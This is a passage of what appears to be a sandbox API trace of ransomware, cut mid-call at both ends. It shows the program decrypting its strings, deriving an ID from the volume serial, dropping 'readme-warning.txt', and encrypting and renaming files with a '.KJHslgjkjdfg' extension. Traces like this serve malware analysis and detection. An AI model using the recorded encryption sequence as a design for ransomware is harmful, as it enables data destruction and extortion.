hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.925] GetProcessHeap () returned 0x2ef0000 [0170.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.925] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.925] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0170.926] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.926] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.926] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.926] GetProcessHeap () returned 0x2ef0000 [0170.926] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.926] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.926] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.926] GetProcessHeap () returned 0x2ef0000 [0170.926] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d270 [0170.926] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\readme-warning.txt") returned 71 [0170.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.927] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3d270*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3d270*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0170.928] CloseHandle (hObject=0xf0) returned 1 [0170.928] GetProcessHeap () returned 0x2ef0000 [0170.928] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.928] GetProcessHeap () returned 0x2ef0000 [0170.928] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0170.928] GetProcessHeap () returned 0x2ef0000 [0170.928] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.929] GetProcessHeap () returned 0x2ef0000 [0170.929] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.929] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0170.929] GetProcessHeap () returned 0x2ef0000 [0170.929] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0170.929] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0170.929] GetProcessHeap () returned 0x2ef0000 [0170.929] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f45740 [0170.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0170.932] GetProcessHeap () returned 0x2ef0000 [0170.932] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0170.932] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.932] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0170.932] GetProcessHeap () returned 0x2ef0000 [0170.932] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f16e68 [0170.933] GetProcessHeap () returned 0x2ef0000 [0170.933] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0170.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0170.934] GetProcessHeap () returned 0x2ef0000 [0170.934] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0170.934] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.934] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0170.934] GetProcessHeap () returned 0x2ef0000 [0170.934] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f3e278 [0170.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.934] GetProcessHeap () returned 0x2ef0000 [0170.934] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.934] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0170.934] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0170.937] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0170.937] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.937] GetProcessHeap () returned 0x2ef0000 [0170.937] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.937] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0170.937] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.937] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0170.937] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0170.937] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0170.937] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0170.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0170.937] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0170.938] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0170.938] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.938] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2cc7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x2cc7, lpOverlapped=0x0) returned 1 [0170.939] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2cd0, dwBufLen=0x2cd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2cd0) returned 1 [0170.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.939] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x2cd0, lpOverlapped=0x0) returned 1 [0170.939] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.939] SetEndOfFile (hFile=0x114) returned 1 [0170.942] GetProcessHeap () returned 0x2ef0000 [0170.942] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.942] GetProcessHeap () returned 0x2ef0000 [0170.942] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.kjhslgjkjdfg")) returned 1 [0170.942] CloseHandle (hObject=0x114) returned 1 [0170.947] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0170.947] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0170.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.948] GetProcessHeap () returned 0x2ef0000 [0170.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.948] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0170.948] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0170.948] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.948] GetProcessHeap () returned 0x2ef0000 [0170.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.948] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0170.948] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.948] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0170.950] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0170.950] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0170.950] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0170.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0170.951] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0170.951] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0170.951] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.951] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x3580, lpOverlapped=0x0) returned 1 [0170.952] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3580, dwBufLen=0x3580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3580) returned 1 [0170.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.952] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x3580, lpOverlapped=0x0) returned 1 [0170.952] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.952] SetEndOfFile (hFile=0x114) returned 1 [0170.955] GetProcessHeap () returned 0x2ef0000 [0170.955] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.955] GetProcessHeap () returned 0x2ef0000 [0170.955] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.kjhslgjkjdfg")) returned 1 [0170.956] CloseHandle (hObject=0x114) returned 1 [0170.957] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0170.957] GetProcessHeap () returned 0x2ef0000 [0170.957] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.957] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.957] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0170.957] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.958] GetProcessHeap () returned 0x2ef0000 [0170.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0170.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.958] GetProcessHeap () returned 0x2ef0000 [0170.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0170.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0170.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.958] GetProcessHeap () returned 0x2ef0000 [0170.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0170.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.958] GetProcessHeap () returned 0x2ef0000 [0170.958] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.958] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.958] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0170.958] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0170.958] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0170.958] RegCloseKey (hKey=0x114) returned 0x0 [0170.959] GetProcessHeap () returned 0x2ef0000 [0170.959] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.959] GetProcessHeap () returned 0x2ef0000 [0170.959] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.959] GetProcessHeap () returned 0x2ef0000 [0170.959] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.959] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.959] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0170.959] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.959] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.959] GetVolumeInformationW (in: 